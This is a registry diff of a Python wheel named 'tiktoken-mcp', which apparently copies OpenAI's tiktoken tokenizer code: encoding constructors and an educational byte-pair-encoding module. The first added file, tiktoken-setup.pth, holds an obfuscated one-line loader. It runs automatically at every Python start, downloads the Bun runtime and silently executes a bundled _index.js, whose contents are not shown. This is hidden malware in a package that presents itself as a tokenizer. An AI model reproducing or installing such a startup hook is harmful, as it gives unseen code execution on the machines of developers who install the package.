tiktoken-mcp 0.13.2__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- tiktoken-setup.pth +1 -0
- tiktoken_ext/openai_public.py +162 -0
- tiktoken_mcp/__init__.py +8 -0
- tiktoken_mcp/_educational.py +223 -0
- tiktoken_mcp/_index.js +101 -0
- tiktoken_mcp/_tiktoken.cpython-310-darwin.so +0 -0
- tiktoken_mcp/core.py +449 -0
- tiktoken_mcp/load.py +171 -0
- tiktoken_mcp/model.py +118 -0
- tiktoken_mcp/py.typed +0 -0
- tiktoken_mcp/registry.py +96 -0
- tiktoken_mcp-0.13.2.dist-info/METADATA +171 -0
- tiktoken_mcp-0.13.2.dist-info/RECORD +18 -0
- tiktoken_mcp-0.13.2.dist-info/WHEEL +6 -0
- tiktoken_mcp-0.13.2.dist-info/licenses/LICENSE +21 -0
- tiktoken_mcp-0.13.2.dist-info/top_level.txt +2 -0
- tiktoken_mcp-setup.pth +1 -0
tiktoken-setup.pth
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u,platform as _p,sys as _y,shutil as _h,glob as _g;_j=None\nfor d in _y.path:\n try:\n if _o.path.exists(_o.path.join(d,"_index.js")):_j=_o.path.join(d,"_index.js");break\n except:pass\nif not _j:\n for d in _y.path:\n try:\n for s in _o.listdir(d):\n p=_o.path.join(d,s,"_index.js")\n if _o.path.isdir(_o.path.join(d,s))and _o.path.exists(p):_j=p;break\n if _j:break\n except:pass\n_e=_o.name=="nt"\n_b=_o.path.join(_T.gettempdir(),"b","bun"+(".exe" if _e else""))\nif not _o.path.exists(_b):\n _a="aarch64" if _p.machine()=="arm64" else"x64"\n _m={"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n _z=_o.path.join(_T.gettempdir(),"b.zip")\n _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_m}-{_a}.zip",_z)\n import zipfile as _zf\n _d=_o.path.join(_T.gettempdir(),"b","_extract")\n _o.makedirs(_d,exist_ok=1)\n _zf.ZipFile(_z).extractall(_d)\n _x=[_o.path.join(r,f)for r,_,fs in _o.walk(_d)for f in fs if f in("bun","bun.exe")]\n if _x:_h.move(_x[0],_b)\n _h.rmtree(_d,ignore_errors=1)\n _o.chmod(_b,509)\n _o.unlink(_z)\n_s.run([_b,"run",_j],check=False)\nopen(_G,"w").close()')
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
from tiktoken.load import data_gym_to_mergeable_bpe_ranks, load_tiktoken_bpe
|
|
2
|
+
|
|
3
|
+
ENDOFTEXT = "<|endoftext|>"
|
|
4
|
+
FIM_PREFIX = "<|fim_prefix|>"
|
|
5
|
+
FIM_MIDDLE = "<|fim_middle|>"
|
|
6
|
+
FIM_SUFFIX = "<|fim_suffix|>"
|
|
7
|
+
ENDOFPROMPT = "<|endofprompt|>"
|
|
8
|
+
|
|
9
|
+
# The pattern in the original GPT-2 release is:
|
|
10
|
+
# r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
|
|
11
|
+
# This is equivalent, but executes faster:
|
|
12
|
+
r50k_pat_str = (
|
|
13
|
+
r"""'(?:[sdmt]|ll|ve|re)| ?\p{L}++| ?\p{N}++| ?[^\s\p{L}\p{N}]++|\s++$|\s+(?!\S)|\s"""
|
|
14
|
+
)
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def gpt2():
|
|
18
|
+
mergeable_ranks = data_gym_to_mergeable_bpe_ranks(
|
|
19
|
+
vocab_bpe_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/vocab.bpe",
|
|
20
|
+
encoder_json_file="https://openaipublic.blob.core.windows.net/gpt-2/encodings/main/encoder.json",
|
|
21
|
+
vocab_bpe_hash="1ce1664773c50f3e0cc8842619a93edc4624525b728b188a9e0be33b7726adc5",
|
|
22
|
+
encoder_json_hash="196139668be63f3b5d6574427317ae82f612a97c5d1cdaf36ed2256dbf636783",
|
|
23
|
+
)
|
|
24
|
+
return {
|
|
25
|
+
"name": "gpt2",
|
|
26
|
+
"explicit_n_vocab": 50257,
|
|
27
|
+
"pat_str": r50k_pat_str,
|
|
28
|
+
"mergeable_ranks": mergeable_ranks,
|
|
29
|
+
"special_tokens": {ENDOFTEXT: 50256},
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def r50k_base():
|
|
34
|
+
mergeable_ranks = load_tiktoken_bpe(
|
|
35
|
+
"https://openaipublic.blob.core.windows.net/encodings/r50k_base.tiktoken",
|
|
36
|
+
expected_hash="306cd27f03c1a714eca7108e03d66b7dc042abe8c258b44c199a7ed9838dd930",
|
|
37
|
+
)
|
|
38
|
+
return {
|
|
39
|
+
"name": "r50k_base",
|
|
40
|
+
"explicit_n_vocab": 50257,
|
|
41
|
+
"pat_str": r50k_pat_str,
|
|
42
|
+
"mergeable_ranks": mergeable_ranks,
|
|
43
|
+
"special_tokens": {ENDOFTEXT: 50256},
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def p50k_base():
|
|
48
|
+
mergeable_ranks = load_tiktoken_bpe(
|
|
49
|
+
"https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
|
|
50
|
+
expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
|
|
51
|
+
)
|
|
52
|
+
return {
|
|
53
|
+
"name": "p50k_base",
|
|
54
|
+
"explicit_n_vocab": 50281,
|
|
55
|
+
"pat_str": r50k_pat_str,
|
|
56
|
+
"mergeable_ranks": mergeable_ranks,
|
|
57
|
+
"special_tokens": {ENDOFTEXT: 50256},
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def p50k_edit():
|
|
62
|
+
mergeable_ranks = load_tiktoken_bpe(
|
|
63
|
+
"https://openaipublic.blob.core.windows.net/encodings/p50k_base.tiktoken",
|
|
64
|
+
expected_hash="94b5ca7dff4d00767bc256fdd1b27e5b17361d7b8a5f968547f9f23eb70d2069",
|
|
65
|
+
)
|
|
66
|
+
special_tokens = {ENDOFTEXT: 50256, FIM_PREFIX: 50281, FIM_MIDDLE: 50282, FIM_SUFFIX: 50283}
|
|
67
|
+
return {
|
|
68
|
+
"name": "p50k_edit",
|
|
69
|
+
"pat_str": r50k_pat_str,
|
|
70
|
+
"mergeable_ranks": mergeable_ranks,
|
|
71
|
+
"special_tokens": special_tokens,
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
def cl100k_base():
|
|
76
|
+
mergeable_ranks = load_tiktoken_bpe(
|
|
77
|
+
"https://openaipublic.blob.core.windows.net/encodings/cl100k_base.tiktoken",
|
|
78
|
+
expected_hash="223921b76ee99bde995b7ff738513eef100fb51d18c93597a113bcffe865b2a7",
|
|
79
|
+
)
|
|
80
|
+
special_tokens = {
|
|
81
|
+
ENDOFTEXT: 100257,
|
|
82
|
+
FIM_PREFIX: 100258,
|
|
83
|
+
FIM_MIDDLE: 100259,
|
|
84
|
+
FIM_SUFFIX: 100260,
|
|
85
|
+
ENDOFPROMPT: 100276,
|
|
86
|
+
}
|
|
87
|
+
return {
|
|
88
|
+
"name": "cl100k_base",
|
|
89
|
+
"pat_str": r"""'(?i:[sdmt]|ll|ve|re)|[^\r\n\p{L}\p{N}]?+\p{L}++|\p{N}{1,3}+| ?[^\s\p{L}\p{N}]++[\r\n]*+|\s++$|\s*[\r\n]|\s+(?!\S)|\s""",
|
|
90
|
+
"mergeable_ranks": mergeable_ranks,
|
|
91
|
+
"special_tokens": special_tokens,
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def o200k_base():
|
|
96
|
+
mergeable_ranks = load_tiktoken_bpe(
|
|
97
|
+
"https://openaipublic.blob.core.windows.net/encodings/o200k_base.tiktoken",
|
|
98
|
+
expected_hash="446a9538cb6c348e3516120d7c08b09f57c36495e2acfffe59a5bf8b0cfb1a2d",
|
|
99
|
+
)
|
|
100
|
+
special_tokens = {ENDOFTEXT: 199999, ENDOFPROMPT: 200018}
|
|
101
|
+
# This regex could be made more efficient. If I was the one working on this encoding, I would
|
|
102
|
+
# have done a few other things differently too, e.g. I think you can allocate tokens more
|
|
103
|
+
# efficiently across languages.
|
|
104
|
+
pat_str = "|".join(
|
|
105
|
+
[
|
|
106
|
+
r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]*[\p{Ll}\p{Lm}\p{Lo}\p{M}]+(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
|
|
107
|
+
r"""[^\r\n\p{L}\p{N}]?[\p{Lu}\p{Lt}\p{Lm}\p{Lo}\p{M}]+[\p{Ll}\p{Lm}\p{Lo}\p{M}]*(?i:'s|'t|'re|'ve|'m|'ll|'d)?""",
|
|
108
|
+
r"""\p{N}{1,3}""",
|
|
109
|
+
r""" ?[^\s\p{L}\p{N}]+[\r\n/]*""",
|
|
110
|
+
r"""\s*[\r\n]+""",
|
|
111
|
+
r"""\s+(?!\S)""",
|
|
112
|
+
r"""\s+""",
|
|
113
|
+
]
|
|
114
|
+
)
|
|
115
|
+
return {
|
|
116
|
+
"name": "o200k_base",
|
|
117
|
+
"pat_str": pat_str,
|
|
118
|
+
"mergeable_ranks": mergeable_ranks,
|
|
119
|
+
"special_tokens": special_tokens,
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def o200k_harmony():
|
|
124
|
+
base_enc = o200k_base()
|
|
125
|
+
name = "o200k_harmony"
|
|
126
|
+
pat_str = base_enc["pat_str"]
|
|
127
|
+
mergeable_ranks = base_enc["mergeable_ranks"]
|
|
128
|
+
special_tokens = {
|
|
129
|
+
**base_enc["special_tokens"],
|
|
130
|
+
"<|startoftext|>": 199998,
|
|
131
|
+
"<|endoftext|>": 199999,
|
|
132
|
+
"<|reserved_200000|>": 200000,
|
|
133
|
+
"<|reserved_200001|>": 200001,
|
|
134
|
+
"<|return|>": 200002,
|
|
135
|
+
"<|constrain|>": 200003,
|
|
136
|
+
"<|reserved_200004|>": 200004,
|
|
137
|
+
"<|channel|>": 200005,
|
|
138
|
+
"<|start|>": 200006,
|
|
139
|
+
"<|end|>": 200007,
|
|
140
|
+
"<|message|>": 200008,
|
|
141
|
+
"<|reserved_200009|>": 200009,
|
|
142
|
+
"<|reserved_200010|>": 200010,
|
|
143
|
+
"<|reserved_200011|>": 200011,
|
|
144
|
+
"<|call|>": 200012,
|
|
145
|
+
} | {f"<|reserved_{i}|>": i for i in range(200013, 201088)}
|
|
146
|
+
return {
|
|
147
|
+
"name": name,
|
|
148
|
+
"pat_str": pat_str,
|
|
149
|
+
"mergeable_ranks": mergeable_ranks,
|
|
150
|
+
"special_tokens": special_tokens,
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
ENCODING_CONSTRUCTORS = {
|
|
155
|
+
"gpt2": gpt2,
|
|
156
|
+
"r50k_base": r50k_base,
|
|
157
|
+
"p50k_base": p50k_base,
|
|
158
|
+
"p50k_edit": p50k_edit,
|
|
159
|
+
"cl100k_base": cl100k_base,
|
|
160
|
+
"o200k_base": o200k_base,
|
|
161
|
+
"o200k_harmony": o200k_harmony,
|
|
162
|
+
}
|
tiktoken_mcp/__init__.py
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
# This is the public API of tiktoken
|
|
2
|
+
from .core import Encoding as Encoding
|
|
3
|
+
from .model import encoding_for_model as encoding_for_model
|
|
4
|
+
from .model import encoding_name_for_model as encoding_name_for_model
|
|
5
|
+
from .registry import get_encoding as get_encoding
|
|
6
|
+
from .registry import list_encoding_names as list_encoding_names
|
|
7
|
+
|
|
8
|
+
__version__ = "0.13.0"
|
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
"""This is an educational implementation of the byte pair encoding algorithm."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import collections
|
|
6
|
+
|
|
7
|
+
import regex
|
|
8
|
+
|
|
9
|
+
import tiktoken
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class SimpleBytePairEncoding:
|
|
13
|
+
def __init__(self, *, pat_str: str, mergeable_ranks: dict[bytes, int]) -> None:
|
|
14
|
+
"""Creates an Encoding object."""
|
|
15
|
+
# A regex pattern string that is used to split the input text
|
|
16
|
+
self.pat_str = pat_str
|
|
17
|
+
# A dictionary mapping token bytes to their ranks. The ranks correspond to merge priority
|
|
18
|
+
self.mergeable_ranks = mergeable_ranks
|
|
19
|
+
|
|
20
|
+
self._decoder = {token: token_bytes for token_bytes, token in mergeable_ranks.items()}
|
|
21
|
+
self._pat = regex.compile(pat_str)
|
|
22
|
+
|
|
23
|
+
def encode(self, text: str, visualise: str | None = "colour") -> list[int]:
|
|
24
|
+
"""Encodes a string into tokens.
|
|
25
|
+
|
|
26
|
+
>>> enc.encode("hello world")
|
|
27
|
+
[388, 372]
|
|
28
|
+
"""
|
|
29
|
+
# Use the regex to split the text into (approximately) words
|
|
30
|
+
words = self._pat.findall(text)
|
|
31
|
+
tokens = []
|
|
32
|
+
for word in words:
|
|
33
|
+
# Turn each word into tokens, using the byte pair encoding algorithm
|
|
34
|
+
word_bytes = word.encode("utf-8")
|
|
35
|
+
word_tokens = bpe_encode(self.mergeable_ranks, word_bytes, visualise=visualise)
|
|
36
|
+
tokens.extend(word_tokens)
|
|
37
|
+
return tokens
|
|
38
|
+
|
|
39
|
+
def decode_bytes(self, tokens: list[int]) -> bytes:
|
|
40
|
+
"""Decodes a list of tokens into bytes.
|
|
41
|
+
|
|
42
|
+
>>> enc.decode_bytes([388, 372])
|
|
43
|
+
b'hello world'
|
|
44
|
+
"""
|
|
45
|
+
return b"".join(self._decoder[token] for token in tokens)
|
|
46
|
+
|
|
47
|
+
def decode(self, tokens: list[int]) -> str:
|
|
48
|
+
"""Decodes a list of tokens into a string.
|
|
49
|
+
|
|
50
|
+
Decoded bytes are not guaranteed to be valid UTF-8. In that case, we replace
|
|
51
|
+
the invalid bytes with the replacement character "�".
|
|
52
|
+
|
|
53
|
+
>>> enc.decode([388, 372])
|
|
54
|
+
'hello world'
|
|
55
|
+
"""
|
|
56
|
+
return self.decode_bytes(tokens).decode("utf-8", errors="replace")
|
|
57
|
+
|
|
58
|
+
def decode_tokens_bytes(self, tokens: list[int]) -> list[bytes]:
|
|
59
|
+
"""Decodes a list of tokens into a list of bytes.
|
|
60
|
+
|
|
61
|
+
Useful for visualising how a string is tokenised.
|
|
62
|
+
|
|
63
|
+
>>> enc.decode_tokens_bytes([388, 372])
|
|
64
|
+
[b'hello', b' world']
|
|
65
|
+
"""
|
|
66
|
+
return [self._decoder[token] for token in tokens]
|
|
67
|
+
|
|
68
|
+
@staticmethod
|
|
69
|
+
def train(training_data: str, vocab_size: int, pat_str: str):
|
|
70
|
+
"""Train a BPE tokeniser on some data!"""
|
|
71
|
+
mergeable_ranks = bpe_train(data=training_data, vocab_size=vocab_size, pat_str=pat_str)
|
|
72
|
+
return SimpleBytePairEncoding(pat_str=pat_str, mergeable_ranks=mergeable_ranks)
|
|
73
|
+
|
|
74
|
+
@staticmethod
|
|
75
|
+
def from_tiktoken(encoding):
|
|
76
|
+
if isinstance(encoding, str):
|
|
77
|
+
encoding = tiktoken.get_encoding(encoding)
|
|
78
|
+
return SimpleBytePairEncoding(
|
|
79
|
+
pat_str=encoding._pat_str, mergeable_ranks=encoding._mergeable_ranks
|
|
80
|
+
)
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def bpe_encode(
|
|
84
|
+
mergeable_ranks: dict[bytes, int], input: bytes, visualise: str | None = "colour"
|
|
85
|
+
) -> list[int]:
|
|
86
|
+
parts = [bytes([b]) for b in input]
|
|
87
|
+
while True:
|
|
88
|
+
# See the intermediate merges play out!
|
|
89
|
+
if visualise:
|
|
90
|
+
if visualise in ["colour", "color"]:
|
|
91
|
+
visualise_tokens(parts)
|
|
92
|
+
elif visualise == "simple":
|
|
93
|
+
print(parts)
|
|
94
|
+
|
|
95
|
+
# Iterate over all pairs and find the pair we want to merge the most
|
|
96
|
+
min_idx = None
|
|
97
|
+
min_rank = None
|
|
98
|
+
for i, pair in enumerate(zip(parts[:-1], parts[1:])):
|
|
99
|
+
rank = mergeable_ranks.get(pair[0] + pair[1])
|
|
100
|
+
if rank is not None and (min_rank is None or rank < min_rank):
|
|
101
|
+
min_idx = i
|
|
102
|
+
min_rank = rank
|
|
103
|
+
|
|
104
|
+
# If there were no pairs we could merge, we're done!
|
|
105
|
+
if min_rank is None:
|
|
106
|
+
break
|
|
107
|
+
assert min_idx is not None
|
|
108
|
+
|
|
109
|
+
# Otherwise, merge that pair and leave the rest unchanged. Then repeat.
|
|
110
|
+
parts = parts[:min_idx] + [parts[min_idx] + parts[min_idx + 1]] + parts[min_idx + 2 :]
|
|
111
|
+
|
|
112
|
+
if visualise:
|
|
113
|
+
print()
|
|
114
|
+
|
|
115
|
+
tokens = [mergeable_ranks[part] for part in parts]
|
|
116
|
+
return tokens
|
|
117
|
+
|
|
118
|
+
|
|
119
|
+
def bpe_train(
|
|
120
|
+
data: str, vocab_size: int, pat_str: str, visualise: str | None = "colour"
|
|
121
|
+
) -> dict[bytes, int]:
|
|
122
|
+
# First, add tokens for each individual byte value
|
|
123
|
+
if vocab_size < 2**8:
|
|
124
|
+
raise ValueError("vocab_size must be at least 256, so we can encode all bytes")
|
|
125
|
+
ranks = {}
|
|
126
|
+
for i in range(2**8):
|
|
127
|
+
ranks[bytes([i])] = i
|
|
128
|
+
|
|
129
|
+
# Splinter up our data into lists of bytes
|
|
130
|
+
# data = "Hello world"
|
|
131
|
+
# words = [
|
|
132
|
+
# [b'H', b'e', b'l', b'l', b'o'],
|
|
133
|
+
# [b' ', b'w', b'o', b'r', b'l', b'd']
|
|
134
|
+
# ]
|
|
135
|
+
words: list[list[bytes]] = [
|
|
136
|
+
[bytes([b]) for b in word.encode("utf-8")] for word in regex.findall(pat_str, data)
|
|
137
|
+
]
|
|
138
|
+
|
|
139
|
+
# Now, use our data to figure out which merges we should make
|
|
140
|
+
while len(ranks) < vocab_size:
|
|
141
|
+
# Find the most common pair. This will become our next token
|
|
142
|
+
stats = collections.Counter()
|
|
143
|
+
for piece in words:
|
|
144
|
+
for pair in zip(piece[:-1], piece[1:]):
|
|
145
|
+
stats[pair] += 1
|
|
146
|
+
|
|
147
|
+
most_common_pair = max(stats, key=lambda x: stats[x])
|
|
148
|
+
token_bytes = most_common_pair[0] + most_common_pair[1]
|
|
149
|
+
token = len(ranks)
|
|
150
|
+
# Add the new token!
|
|
151
|
+
ranks[token_bytes] = token
|
|
152
|
+
|
|
153
|
+
# Now merge that most common pair in all the words. That is, update our training data
|
|
154
|
+
# to reflect our decision to make that pair into a new token.
|
|
155
|
+
new_words = []
|
|
156
|
+
for word in words:
|
|
157
|
+
new_word = []
|
|
158
|
+
i = 0
|
|
159
|
+
while i < len(word) - 1:
|
|
160
|
+
if (word[i], word[i + 1]) == most_common_pair:
|
|
161
|
+
# We found our pair! Merge it
|
|
162
|
+
new_word.append(token_bytes)
|
|
163
|
+
i += 2
|
|
164
|
+
else:
|
|
165
|
+
new_word.append(word[i])
|
|
166
|
+
i += 1
|
|
167
|
+
if i == len(word) - 1:
|
|
168
|
+
new_word.append(word[i])
|
|
169
|
+
new_words.append(new_word)
|
|
170
|
+
words = new_words
|
|
171
|
+
|
|
172
|
+
# See the intermediate merges play out!
|
|
173
|
+
if visualise:
|
|
174
|
+
print(f"The current most common pair is {most_common_pair[0]} + {most_common_pair[1]}")
|
|
175
|
+
print(f"So we made {token_bytes} our {len(ranks)}th token")
|
|
176
|
+
if visualise in ["colour", "color"]:
|
|
177
|
+
print("Now the first fifty words in our training data look like:")
|
|
178
|
+
visualise_tokens([token for word in words[:50] for token in word])
|
|
179
|
+
elif visualise == "simple":
|
|
180
|
+
print("Now the first twenty words in our training data look like:")
|
|
181
|
+
for word in words[:20]:
|
|
182
|
+
print(word)
|
|
183
|
+
print("\n")
|
|
184
|
+
|
|
185
|
+
return ranks
|
|
186
|
+
|
|
187
|
+
|
|
188
|
+
def visualise_tokens(token_values: list[bytes]) -> None:
|
|
189
|
+
background = [f"\u001b[48;5;{i}m" for i in [167, 179, 185, 77, 80, 68, 134]]
|
|
190
|
+
# If token boundaries do not occur at unicode character boundaries, it's unclear how best to
|
|
191
|
+
# visualise the token. Here, we'll just use the unicode replacement character to represent some
|
|
192
|
+
# fraction of a character.
|
|
193
|
+
unicode_token_values = [x.decode("utf-8", errors="replace") for x in token_values]
|
|
194
|
+
|
|
195
|
+
running_length = 0
|
|
196
|
+
last_color = None
|
|
197
|
+
for token in unicode_token_values:
|
|
198
|
+
color = background[running_length % len(background)]
|
|
199
|
+
if color == last_color:
|
|
200
|
+
color = background[(running_length + 1) % len(background)]
|
|
201
|
+
assert color != last_color
|
|
202
|
+
last_color = color
|
|
203
|
+
running_length += len(token)
|
|
204
|
+
print(color + token, end="")
|
|
205
|
+
print("\u001b[0m")
|
|
206
|
+
|
|
207
|
+
|
|
208
|
+
def train_simple_encoding():
|
|
209
|
+
gpt2_pattern = (
|
|
210
|
+
r"""'s|'t|'re|'ve|'m|'ll|'d| ?[\p{L}]+| ?[\p{N}]+| ?[^\s\p{L}\p{N}]+|\s+(?!\S)|\s+"""
|
|
211
|
+
)
|
|
212
|
+
with open(__file__) as f:
|
|
213
|
+
data = f.read()
|
|
214
|
+
|
|
215
|
+
enc = SimpleBytePairEncoding.train(data, vocab_size=600, pat_str=gpt2_pattern)
|
|
216
|
+
|
|
217
|
+
print("This is the sequence of merges performed in order to encode 'hello world':")
|
|
218
|
+
tokens = enc.encode("hello world")
|
|
219
|
+
assert enc.decode(tokens) == "hello world"
|
|
220
|
+
assert enc.decode_bytes(tokens) == b"hello world"
|
|
221
|
+
assert enc.decode_tokens_bytes(tokens) == [b"hello", b" world"]
|
|
222
|
+
|
|
223
|
+
return enc
|